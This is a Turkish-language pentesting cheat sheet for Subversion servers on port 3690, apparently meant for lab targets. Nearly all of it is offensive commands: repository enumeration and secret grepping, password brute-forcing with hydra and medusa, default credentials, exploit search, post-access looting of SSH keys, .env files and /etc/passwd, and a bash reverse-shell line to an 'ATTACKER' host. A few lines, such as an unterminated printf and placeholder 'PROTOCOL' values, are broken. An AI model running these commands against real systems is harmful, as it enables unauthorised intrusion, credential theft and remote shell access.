3690 - Pentesting Subversion (svn server)

SVN scm

svnserve ve HTTP SVN geçmişte parola/key bırakır. Anonim checkout sık görülür. Hedef lab IP’si üzerinde komutları 3690 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 3690/HTTP SVN doğrula.

2. Anonim list/checkout.

3. log/blame ile secret ara.

4. Commit yetkisi abuse.

Keşif

nmap -Pn -sV -p3690 TARGET

svn ls svn://TARGET/

curl -s http://TARGET/.svn/entries

curl -s http://TARGET/.svn/wc.db -o wc.db

Checkout & loot

svn checkout svn://TARGET/repo /tmp/svn

svn log -v svn://TARGET/repo | head

git svn clone svn://TARGET/repo 2>/dev/null; grep -RniE 'password|BEGIN RSA' /tmp/svn | head

Auth

svn ls svn://TARGET/ --username user --password pass

hydra -L users.txt -P pass.txt svn://TARGET

Derin enum

Subversion (svn server) için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p3690 TARGET

nmap -Pn -p3690 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3690' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',3690));s.settimeout(3);print(s.recv(4096))"

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 3690 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3690

nmap -p3690 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit SVN

msfconsole -q -x 'search SVN; exit'

nuclei -u https://TARGET:3690 -t cves/ -silent -severity || true

nuclei -u http://TARGET:3690 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 3690

printf '

curl -vk --http1.0 http://TARGET:3690/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt
